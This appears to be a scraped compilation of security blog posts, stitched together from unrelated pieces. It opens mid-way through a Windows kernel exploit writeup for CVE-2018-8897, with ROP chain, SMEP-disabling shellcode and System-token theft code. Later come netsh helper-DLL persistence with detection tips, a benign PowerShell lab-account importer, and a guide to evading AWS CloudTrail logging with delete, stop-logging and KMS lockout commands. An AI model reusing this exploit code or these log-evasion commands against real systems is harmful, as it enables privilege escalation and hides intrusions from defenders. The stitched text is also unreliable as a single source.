if ( (_QWORD )(MK_FP(__GS__, 392i64) + 40i64) == MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
} ```
Thanks to this check, as long as we make sure KThread.InitialStack (KThread + 0x28) is not equal to Pcr.Prcb.RspBase (gs:1A8h) KeQueryCurrentStackInformation will return success with 0xFFFF800000000000-0xFFFFFFFFFFFFFFFF as the reported stack range. Let’s go ahead and set Pcr.Prcb.RspBase to 1 and Pcr.Prcb.CurrentThread->InitialStack to 0. Problem solved.
RtlDispatchException after this changes will fail without bugchecking and return to KiDispatchException.
– KeBugCheckEx We are finally here. Here’s the last thing we need to fix:
``` MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
MEMORY:FFFFF8018C1FB95A call RtlCaptureContext ```
Pcr.CurrentPrcb->Context is where KeBugCheck saves the context of the caller and for some weird reason, it is a PCONTEXT instead of a CONTEXT. We don’t really care about any other fields of Pcr so let’s just set it to Pcr+ 0x3000 just for the sake of having a valid pointer for now.
0x2: and Write|What|Where And there we go, sweet sweet blue screen of victory!
Now that everything works, how can we exploit it?
The code after KeBugCheckEx is too complex to step in one by one and it is most likely not-so-fun to revert from so let’s try NOT to bugcheck this time.
I wrote another IDA script to log the points of interest (such as gs: accesses and jumps and calls to registers and [registers+x]) and made it step until KeBugCheckEx is hit:
```
static main()
{
Message( "--- Logging Points of Interest ---\n" );
while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );
if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR\_START ), Disasm );
}
StepInto();
GetDebuggerEvent( WFNE\_SUSP, -1 );
if( IP == ... )
break;
}
}
```
To my disappointment, there is no convenient jumps or calls. The whole output is:
``` - KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h ```
This means that we have to find a way to write to kernel-mode memory and abuse that instead. RtlCaptureContext will be a tremendous help here. As I mentioned before, it is taking the context pointer from Pcr.CurrentPrcb->Context, which is weirdly a PCONTEXT Context and not a CONTEXT Context, meaning we can supply it any kernel address and make it write the context over it.
I was originally going to make it write over g_CiOptions and continuously NtLoadDriver in another thread, but this idea did not work as well as I thought (That being said, this is the way @everdox and @0xNemi got it working. I guess we will see what dark magic they used at BlackHat 2018) simply because the current thread is stuck in an infinite loop and the other thread trying to NtLoadDriver will not succeed because of the IPI it uses:
NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock
After playing around with g_CiOptions for 1-2 days, I thought of a much better idea: building a ROP chain.
How are we going to build a ROP chain without access to RSP? If we use a little bit of creativity, we actually can have access to RSP. We can get the current RSP by making Prcb.Context point to a user-mode memory and polling Context.RSP value from a secondary thread. Sadly, this is not useful by itself as we already passed RtlCaptureContext (our write what where exploit).
However, if we could return back to KiDebugTrapOrFault after RtlCaptureContext finishes its work and somehow predict the next value of RSP, this would be extremely abusable; which is exactly what we are going to do.
To return back to KiDebugTrapOrFault, we will again use our lovely debug registers. Right after RtlCaptureContext returns, a call to KiSaveProcessorControlState is made.
``` .text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax ```
We will set DR1 on gs:20h + 0x100 + 0xA0, and make KeBugCheckEx return back to KiDebugTrapOrFault.
To write our ROP chain, we will first let KiDebugTrapOrFault->…->RtlCaptureContext execute once giving our user-mode thread an initial RSP value, then we will let it execute another time to get the new RSP, which will let us calculate per-execution RSP difference. This RSP delta will be constant because the control flow is also constant.
Now that we have our RSP delta, we will predict the next value of RSP, subtract 8 from that to calculate the return pointer of RtlCaptureContext and make Prcb.Context.Xmm13 – Prcb.Context.Xmm15, write over it.
Thread logic will be like the following:
``` volatile PCONTEXT Ctx = ( volatile PCONTEXT ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
( uint64_t ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
```
Now we simply need to set-up a ROP chain and write it to XMM13-XMM15. We cannot predict which half of XMM15 will get hit due to the mask we apply to comply with the movaps alignment requirement, so first two pointers should simply point at a [RETN] instruction.
We need to load a register with a value we choose to set CR4 so XMM14 will point at a [POP RCX; RETN] gadget, followed by a valid CR4 value with SMEP disabled. As for XMM13, we are simply going to use a [MOV CR4, RCX; RETN;] gadget followed by a pointer to our shellcode.
The final chain will look something like:
``` -- &retn (fffff80372e9502d)
-- &retn (fffff80372e9502d)
-- &pop rcx; retn; (fffff80372ed9122)
-- cr4_nosmep (00000000000506f8)
-- &mov cr4, rcx; retn; (fffff803730045c7)
-- &KernelShellcode (00007ff613fb1010) ```
In our shellcode, we will need to restore the CR4 value, swapgs, rollback ISR stack, execute the code we want and IRETQ back to user-mode which can be done like below:
``` NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
__writedr( 2, StackDelta );
__writedr( 3, IsrStackIterator );
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR\_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR\_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
\_\_rollback\_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR\_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
....
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
} ```
We can’t restore any registers so we will make the thread responsible for the execution of vulnerability store the context in a global container and restore from it instead. Now that we executed our code and returned to user-mode, our exploit is complete!
Let’s make a simple demo stealing the System token:
``` uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i+= 0x8 )
{
uint64_t Val = *( uint64_t * ) ( CurrentProcess + i );
Val &= ~0xF;
if ( Val == CurrentToken )
{
*( uint64\_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken ); ```
Complete implementation of the concept can be found at: https://github.com/can1357/CVE-2018-8897
Credits:
P.S.: If you want to try this exploit out, you can uninstall the relevant update and give it a try!
P.P.S.: Before you ask why I don’t use intrinsics to read/write GSBASE, it is because MSVC generates invalid code:
We’ve seen several great incoming agent/shell notification mechanisms for Metasploit and Empire recently and the utility of being notified when new shells appear is without question. This is especially true when conducting...
The post Slack Notifications for Cobalt Strike appeared first on Threat Express.
ShmooCon and The Shmoo Group are soliciting papers and presentations for the thirteenth ShmooCon. Wahoo!
Hi there,
We're happy to announce that Maltego 4 is now (finally) ready for the masses! We're releasing the community (free) edition today and the Kali distros have been updated by the kind people from Offensive Security (thanks Dookie/Muts!). In other words - we're ready to roll on a major upgrade of your favorite information visualization tool.
(click on the image above to see our very grown-up/proper promotional video of Sandra the 15 year old Dachshund and Maltego/Kali Linux. !(We plan to screen this at our booth at a major conference.))
Our decision to make CaseFile free with the release of Maltego 4 had some interesting side-effects. In CaseFile importing data from CSV/XLS was enabled. So too printing. And reporting. So when we made CaseFile free it did not make sense to limit the Kali/CE releases - you'd simply open CaseFile, import the data and save the graph - then open in CE.
So - bottom line - reporting/printing/CSV import is now enabled in the free release!
The major changes from 3.6 to 4.0 is the ability to render and use large graphs, the use of collection nodes and a brand new interface. To see a more complete overview of the improvements in Maltego 4 you might want to view our release video [HERE].
For the CE version (OSX/Windows/Linux/SNES/ZX81/C64) click [HERE], download and install.
For Kali Linux - if you're running 2016.2 (recommended) you can simply type:
If you're using Kali Linux 2016.1 it's a bit of a bigger mission but you can open a terminal and type:
This will upgrade your Kali to the latest - and it's good thing(tm) anyhow.
Once you're good to go start Maltego like you normally do.
We hope you have endless fun using Maltego 4 and that you find it super useful in your explorations.
RT
By Matthew Demaske, Director of Threat Research I’m always looking for ways an adversary can execute something on a system via “trusted” methods. One great example is Powershell. It’s beloved by sysadmins and hackers alike. AV won’t care and Virustotal says it’s squeaky clean. I’m not going to go into all the various avenues of attack via Powershell because I’ll be here all night. Just know that anything that’s available to your users/staff is available to an attacker. After all, once someone gets into your network, what separates them from a legitimate user? Nothing. Any tool that will give you information about a system(s) is fair game. Ipconfig may seem like a harmless command, but it can give an attacker useful information. Same goes for a ton of other commands. Check out this big list of native commands regularly used in recorded cyber attacks: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html. Built in native Windows tools are some of the best ways to pwn a network while avoiding detection. The discouraging thing is that most of these commands occur thousands upon thousands of times legitimately on your network. Simply throwing ipconfig.exe into a blacklist for your SIEM to alert on will make people very angry at you. These aren’t traditional indicators of compromise, but with added context, they absolutely can be. This is why I’m a fan of hiring real human people to hunt, instead of buying a box or a feed subscription. But, that’s a rant for another post. To get back on track, I was researching ways an adversary could use the Windows Firewall command line tool called netsh(NetShell) when I saw something curious in the list of available commands: “add”
Add what?
Installs a DLL? Que!? I found a POC DLL I use for stuff that just pops calc and figured why not. There’s no way it’s going to just run this, right?
Dang. What is InitHelperDLL? To Google we go. According to Microsoft The InitHelperDll function is called by NetShell to perform an initial loading of a helper. –https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx Ok, a required export. What’s a helper? NetShell helpers are DLL files that provide the functionality of a context. Additional helpers extend the functionality of NetShell by providing administrative scripting for networking tasks. Helpers generally provide configuration support, monitoring support, or both, for networking services, utilities, or protocols. –https://msdn.microsoft.com/en-us/library/windows/desktop/ms708347(v=vs.85).aspx At this point, I reach out to Casey Smith, who is really good at finding obscure ways of executing code in Windows. He’s written extensively on the subject @ https://subt0x10.blogspot.com. I ask him if he’s ever heard of this technique and he says he hasn’t. A few minutes later and he’s got a working POC going.
So where do we go from here? Well, I wanted to reverse what I had just done via the “delete helper
Whoa, it executed again. It’s persistent. So, I went back to the Net Helper reference section and found this. Helpers are DLL files that implement a NetShell context and zero or more of its subcontexts, and are registered with Windows through the system registry. -https://msdn.microsoft.com/en-us/library/windows/desktop/ms708320(v=vs.85).aspx through the system registry through the system registry through the system registry through the system registry through the system registry This just got better. Pulled up the registry and searched for my DLL.
The entry is made in the HKLM\SOFTWARE\Microsoft\Netsh key. All the other DLLs reside in the System folder, but it’s not a requirement for your evil DLL. It’ll run from anywhere. My advice would be to put it in a location where any user account can read from, like System or AppData. You do need admin rights for this by the way. Or at least rights that will let whatever context you’re in write to HKLM. The only caveat is that netsh.exe must be ran first for the dll to execute. Netsh doesn’t automatically run on boot by default, but you could easily use a scheduled task for example. Or a start service. Or a Powershell profile. Or a RunOnce key. Or blah blah blah.
Default view of Autoruns won’t catch it with any listed user account.
You would need to uncheck the “Hide Windows Entries” options to see it
“But, it’s signed, and Virustotal didn’t find anything!” (Sorry about the image size. The page formatting will not make it any larger. Just click to view full image) I know there’s a ton of VPN client programs that regularly invoke netsh for various reasons. They usually run under SYSTEM context, too. So depending on the environment, you may not even need to force netsh to run. This is why recon is important before you go making noise you don’t necessarily need to make. Regarding the defensive side, if you’re doing real-time hunting with a tool like Sysmon(which I HIGHLY HIGHLY recommend), you’re going to want to look for any child processes of netsh.exe
I have a client with a pretty sizable group of hosts and I searched going back 120 days looking for children of netsh.exe. There were zero among MILLIONS of netsh.exe processes started. Other general tips/methods to stop or detect this attack: -Obviously scan the HKLM\SOFTWARE\Microsoft\Netsh key for any new entries. Easy. You should have a dynamic list of possible persistence locations anyway in the registry anyway. –Your team should be looking for registry changes made via CMD, powershell, and/or WMI. It may happen frequently, but the more time an analyst spends getting to know their territory, the easier it gets to spot things that look odd. -DLL whitelisting. Microsoft’s Applocker will let you configure policy rules on dll executions. This is why I’m a huge fan of organizations creating “gold images” of their operating systems. As a hunter, I know what the baseline is and searching for anomalies is easier. If I’m a system admin, gold images make whitelisting so much easier. I’ll know exactly what to allow and what to block. Any changes need to be approved. Now, if you have no gold image, creating DLL whitelists can be a nightmare. If you start rolling out DLL rules, you can break a lot of important stuff. The good news is that you can create Applocker DLL rules that are audit only. The DLLs will still run, but there will be a Warning message written to the Applocker log. Suck those logs up into your SIEM and go hunting. So, how important is this finding? I have no idea. Will it become the next heartbleed? Is it super NSA zero day complicated? Hardly. But, it’s another avenue an adversary can use. Remember, defenders need to worry about numerous of ways an attacker can carry out their plan. Attackers only need to find one. I doubt too many folks are monitoring the netsh key for changes or monitoring child processes of netsh.exe. But hey, maybe you will now. Again, thanks to Casey Smith for the quick response and for the work on the POC. I also want to give a shout out to Adamb who hosts one of the best persistence/DFIR blogs out there. He wrote about the existence of net helper DLLs back in 2013: http://www.hexacorn.com/blog/2013/08/21/da-lil-world-of-dll-exports-and-entry-points-part-3/ -Matt
Luke Baggett // If you’re monitoring a network with internet access, it’s almost inevitable that you’re going to see a lot of traffic to and from Google servers. Blending in with Google traffic by using Google as a relay may help an attacker avoid detection. How could an attacker use Google as a relay? One […]
ServiceNow provides ITSM solutions and products: Configuration Management Database Edge Encryption Knowledge Management Performance Analytics Reporting Service Catalog Service Portal Designer Subscription Management Visual Task Boards Workflow The last feature is very interesting. Each workflow can contain “activities”. These activities…
The post ServiceNow workflow, Powershell and JSON appeared first on shell {&} co.
As I write my own tools for IR Hunting and Post-Expoitation I like to have a large realistic set of AD accounts and also accounts with accentuated and not english characters to make sure my tools will work in large environments and also simulate multiple geographical locations since most customers are not US based. When creating realistic user accounts I have found no better source that using http://www.fakenamegenerator.com it allows me to order a CSV with a large amount of realistic looking users and their details.
To do this I first go to the Fake Name Generator page and select from the menu the Order in Bulk option, click on the checkbox to accept the terms of services and select as output Comma separated (.csv)
Now on step 3 I can select the name set and the country for the account information I want. Once that is selected I then select the following fields:
Once the fields have been selected I simply specify the number, the email and enter the captcha to get the accounts via email.
Now once I have the CSV in my experience they tend to have repeated usernames, also I have found my self missing one or more of the fields when I selected what to include in the CSV so I wrote a series of PowerShell functions I can use when working with the data.
The first function is a simple one that allows me to test that the CSV contains all the fields I want. It simply extracts the header from the CSV and checks against a list.
<#
.Synopsis
Test a CSV from FakeNameGenerator.com for required fields.
.DESCRIPTION
Test a CSV from FakeNameGenerator.com for required fields.
.EXAMPLE
Test-LabADUserList -Path .\FakeNameGenerator.com_b58aa6a5.csv
function Test-LabADUserList
{
[CmdletBinding()]
[OutputType([Bool])]
Param
(
[Parameter(Mandatory=$true,
Position=0,
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true,
HelpMessage="Path to CSV generated from fakenamegenerator.com.")]
[Alias("PSPath")]
[ValidateNotNullOrEmpty()]
[string]
$Path
)
Begin {}
Process
{
# Test if the file exists.
if (Test-Path -Path $Path -PathType Leaf)
{
Write-Verbose -Message "Testing file $($Path)"
}
else
{
Write-Error -Message "File $($Path) was not found or not a file."
$false
return
}
# Get CSV header info.
$fileinfo = Import-Csv -Path $Path | Get-Member | Select-Object -ExpandProperty Name
$valid = $true
if ('City' -notin $fileinfo) {
Write-Warning -Message 'City field is missing'
$valid = $false
}
if ('Country' -notin $fileinfo) {
Write-Warning -Message 'Country field is missing'
$valid = $false
}
if ('GivenName' -notin $fileinfo) {
Write-Warning -Message 'GivenName field is missing'
$valid = $false
}
if ('Occupation' -notin $fileinfo) {
Write-Warning -Message 'Occupation field is missing'
$valid = $false
}
if ('Password' -notin $fileinfo) {
Write-Warning -Message 'Password field is missing'
$valid = $false
}
if ('StreetAddress' -notin $fileinfo) {
Write-Warning -Message 'StreetAddress field is missing'
$valid = $false
}
if ('Surname' -notin $fileinfo) {
Write-Warning -Message 'Surname field is missing'
$valid = $false
}
if ('TelephoneNumber' -notin $fileinfo) {
Write-Warning -Message 'TelephoneNumber field is missing'
$valid = $false
}
if ('Username' -notin $fileinfo) {
Write-Warning -Message 'Username field is missing'
$valid = $false
}
$valid
}
End {}
}
The next function will remove any duplicate username entries, I have found with large samples that it is inevitable for some of the usernames to be duplicated. This function uses a lot the pipeline so as minimize memory use, not the fastest but when dealing with several thousands of fake user details in a VM environment with limited memory it becomes an acceptable tradeoff.
<#
.Synopsis
Removes duplicate username entries from Fake Name Generator generated accounts.
.DESCRIPTION
Removes duplicate username entries from Fake Name Generator generated accounts. Bulk
generated accounts from fakenamegenerator.com must have as fields:
GivenName
Surname
StreetAddress
City
Title
Username
Password
Country
TelephoneNumber
Occupation
.EXAMPLE
Remove-LabADUsertDuplicate -Path .\FakeNameGenerator.com_b58aa6a5.csv -OutPath .\unique_users.csv
function Remove-LabADUsertDuplicate
{
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true,
Position=0,
ParameterSetName="Path",
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true,
HelpMessage="Path to CSV to remove duplicates from.")]
[Alias("PSPath")]
[ValidateNotNullOrEmpty()]
[string]
$Path,
[Parameter(Mandatory=$true,
Position=1,
ParameterSetName="Path",
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true,
HelpMessage="Path to CSV to remove duplicates from.")]
[ValidateNotNullOrEmpty()]
[string]
$OutPath
)
Begin {}
Process
{
Write-Verbose -Message "Processing $($Path)"
if (Test-LabADUserList -Path $Path) {
Import-Csv -Path $Path | Group-Object Username | Foreach-Object {
$_.group | Select-Object -Last 1} | Export-Csv -Path $OutPath -Encoding UTF8
} else {
Write-Error -Message "File $($Path) is not valid."
}
}
End {}
}
The last function does the importing of accounts from the processed CSV with duplicate usernames removed in to a specified OU. The function will create OUs under the specified one for each country in the account set.
<#
.SYNOPSIS
Imports a CSV from Fake Name Generator to create test AD User accounts.
.DESCRIPTION
Imports a CSV from Fake Name Generator to create test AD User accounts.
It will create OUs per country under the OU specified. Bulk
generated accounts from fakenamegenerator.com must have as fields:
GivenName
Surname
StreetAddress
City
Title
Username
Password
Country
TelephoneNumber
Occupation
.EXAMPLE
C:\PS> Import-LabADUser -Path .\unique.csv -OU DemoUsers
function Import-LabADUser
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true,
Position=0,
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true,
HelpMessage="Path to one or more locations.")]
[Alias("PSPath")]
[ValidateNotNullOrEmpty()]
[string[]]
$Path,
[Parameter(Mandatory=$true,
position=1,
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true,
HelpMessage="Organizational Unit to save users.")]
[String]
[Alias('OU')]
$OrganizationalUnit
)
begin {
}
process {
Import-Module ActiveDirectory
if (-not (Get-Module -Name 'ActiveDirectory')) {
return
}
$DomDN = (Get-ADDomain).DistinguishedName
$forest = (Get-ADDomain).Forest
$ou = Get-ADOrganizationalUnit -Filter "name -eq '$($OrganizationalUnit)'"
if($ou -eq $null) {
New-ADOrganizationalUnit -Name "$($OrganizationalUnit)" -Path $DomDN
$ou = Get-ADOrganizationalUnit -Filter "name -eq '$($OrganizationalUnit)'"
}
$data =
Import-Csv -Path $Path | select @{Name="Name";Expression={$_.Surname + ", " + $_.GivenName}},
@{Name="SamAccountName"; Expression={$_.Username}},
@{Name="UserPrincipalName"; Expression={$_.Username +"@" + $forest}},
@{Name="GivenName"; Expression={$_.GivenName}},
@{Name="Surname"; Expression={$_.Surname}},
@{Name="DisplayName"; Expression={$_.Surname + ", " + $_.GivenName}},
@{Name="City"; Expression={$_.City}},
@{Name="StreetAddress"; Expression={$_.StreetAddress}},
@{Name="State"; Expression={$_.State}},
@{Name="Country"; Expression={$_.Country}},
@{Name="PostalCode"; Expression={$_.ZipCode}},
@{Name="EmailAddress"; Expression={$_.Username +"@" + $forest}},
@{Name="AccountPassword"; Expression={ (Convertto-SecureString -Force -AsPlainText $_.password)}},
@{Name="OfficePhone"; Expression={$_.TelephoneNumber}},
@{Name="Title"; Expression={$_.Occupation}},
@{Name="Enabled"; Expression={$true}},
@{Name="PasswordNeverExpires"; Expression={$true}} | ForEach-Object -Process {
$subou = Get-ADOrganizationalUnit -Filter "name -eq ""$($_.Country)""" -SearchBase $ou.DistinguishedName
if($subou -eq $null) {
New-ADOrganizationalUnit -Name $_.Country -Path $ou.DistinguishedName
$subou = Get-ADOrganizationalUnit -Filter "name -eq ""$($_.Country)""" -SearchBase $ou.DistinguishedName
}
$_ | Select @{Name="Path"; Expression={$subou.DistinguishedName}},* | New-ADUser
}
}
end {}
}
The PS1 file with the functions can be found in my GitHub account https://github.com/darkoperator/powershell_scripts/blob/master/LabAccountImport.ps1 once you download a copy of it you only need to dot source the file on a PowerShell session on the Windows 2012 R2 domain controller where you want to import the accounts:
PS C:\> . .\LabAccountImport.ps1
Now the functions will be available for you to use in the interactive session. We start by testing the file we got via email to make sure it has all the fields we want and that no mistakes where done when ordering the names:
PS C:\> Test-LabADUserList -Path .\FakeNameGenerator.com\_b58aa6a5.csv
True
Now we create a new CSV file with unique usernames:
PS C:\> Remove-LabADUsertDuplicate -Path .\FakeNameGenerator.com\_b58aa6a5.csv -OutPath .\UniqueUY.csv
Once we have the accounts with unique usernames we can import de file in to Active Directory:
PS C:\> Import-LabADUser -Path .\UniqueUY.csv -OrganizationalUnit DemoUsers
Once it finishes you should now have a nice set of test accounts in AD for you to use.
Of the 3,000 accounts only 2,182 where unique when it came to username, still a very good number for testing. In the future I will probably make it so when it finds accounts with repeated usernames, Surnames or LastNames to add a random string to each.
As Always I hope you find the information useful.
FORENSICS QUICKIES! These posts will consist of small tidbits of useful information that can be explained very succinctly.
I was chatting with Jared Atkinson and James Habben about PowerShell today and a question emerged from the discussion: is there way to determine the version of PowerShell installed on a given machine without using the $PSVersionTable PowerShell command? We all agreed that it
Beau Bullock // TL;DR I compared three single-board computers (SBC) against each other with a specific goal of finding which one would serve best as a “penetration testing drop box”, and maintain an overall price of around $110. Spoiler Alert: At the time I tested these Hardkernel’s ODROID-C2 absolutely destroyed the competition in this space. If […]
TL;DR: Instagram ($2000), Google ($0) and Microsoft ($500) were vulnerable to direct money theft via premium phone number calls. They all offer services to supply users with a token via a computer-voiced phone call, but neglected to properly verify whether… Continue Reading →
Intro On the 30th of June, Tom and I gave a presentation at Hack In Paris about the vulnerabilities we discovered and which could be abused to bypass BitLocker FDE.
These slides were used during the presentation a video of the presentation will be released soon and I will update this post when that happens. :)
So you’ve pwned an AWS account — congratulations — now what? You’re eager to get to the data theft, amirite? What about that whole cyber kill chain thing; installation, command & control, actions on objectives?
What if someone is watching? Too many questions guy… Let’s just disable logging and move on to the fun stuff.
The main source of log data in AWS are CloudTrails.
You can use AWS CloudTrail to get a history of AWS API calls and related events for your account. This includes calls made by using the AWS Management Console, AWS SDKs, command line tools, and higher-level AWS services.
Let’s check out what CloudTrails are enabled:
aws cloudtrail describe-trails
If you see an empty list, you might want to send your victim a t-shirt and thank them for their participation, kind of like a reverse bug bounty. If you see one or more trails, the fun starts now.
Depending on your mood (and occasionally your pwned account’s access policy), AWS offers a buffet of options. So much so, I used to be indecisive but now I’m not so sure.
Starting with the obvious and loudest, deleting the CloudTrail:
aws cloudtrail delete-trail --name [my-trail]
Only slightly less obvious, disabling logging:
aws cloudtrail stop-logging --name [my-trail]
Your target may be actively monitoring both of those API calls so those tactics are probably best left to nights of drunken regret and forcefully purged with tequila.
Most resources in AWS are region specific. However, CloudTrails are a little different and can be configured to be global. While it’s a default, it’s not super common for a trail bound to a home region, and that makes the setting a perfect target for manipulation. Disabling multi region logging gives you free reign in every region except for the one the trail was created in.
aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events
You may have noticed two flags being unset in the above command. The second also “specifies whether the trail is publishing events from global services such as IAM”, which is handy if you want to say, create some backdoor accounts and API keys. It can only be unset if the first is also unset which is unfortunate for stealthiness.
One of the great things about AWS is they’ve really thought about security. In fact, they’ve created many services specifically designed and dedicated to security. For example, the Key Management Service (KMS) tightly integrates with other services to provide almost seamless encryption. It just so happens that integration includes CloudTrail.
It’s a little bit more effort to get CloudTrail encryption bootstrapped but it’s well worth it. Once enabled, log files will be encrypted but everything else will look normal; configuration will remain almost identical and log files will continue to be delivered to the correct location, in the expected structure.
First, let’s setup a policy file for a new key, ensuring it only allows encryption by CloudTrail and nothing else — we don’t want those pesky administrators using it for decryption. Note the references to [account-id] which have to be replaced as appropriate.
https://medium.com/media/bcaefdafe7e08278d4d1d10b5c7f7efb/hrefAWS policies default to deny rules so this policy also denies its own deletion. While not useful, its a painful kick to the nether regions requiring manual Support intervention.
Create a key, attaching the policy:
aws kms create-key --bypass-policy-lockout-safety-check --policy [file:///my-policy.json]
The “bypass-policy-lockout-safety-check” flag allows you the make the key’s policy immutable after creation, making logging just an exercise in lighting money on fire with disk consumption. You can’t say Amazon didn’t warn you!
Finally, put it all together by encrypting the target trail with the immutable encryption-only key:
aws cloudtrail update-trail --name [my-trail] --kms-key-id [my-key]
While that’s by far the slickest encryption tactic, there are others. You can start encrypting a trail, disable the key and schedule it for deletion. If you aren’t going to disable the key, you can remove the disable and delete actions from the policy to make the key undeletable (it’s a word, trust me).
aws kms disable-key --key-id [my-key]
aws kms schedule-key-deletion --key-id [my-key] --pending-window-in-days 7
The deletion won’t happen for 7 days but the trail won’t be written regardless. Manually inspecting the trail in the AWS web interface won’t show any signs of failure either, unless the vicim is familiar enough with the interface to notice a missing ‘last delivered’ section. However, checking the trail status via cli will show “LatestDeliveryError” as “KMS.DisabledException”.
aws cloudtrail get-trail-status --name [my-trail]
Finally, if you really wanted to be mean, you could set the encryption key to be one hosted in another account you control. The only minor change required to the base tactic is to ensure the “GenerateDataKey*” action includes the source account-id in the condition section.
If you wanted to be even meaner and found out your victim knew you did this mean thing, you could send them an email suggesting they make a one time tax-free donation to get a copy of the key. That’s a joke — ransomware is pure evil and needs to die in a fire but doing it through AWS does add some dramatic effect, no?
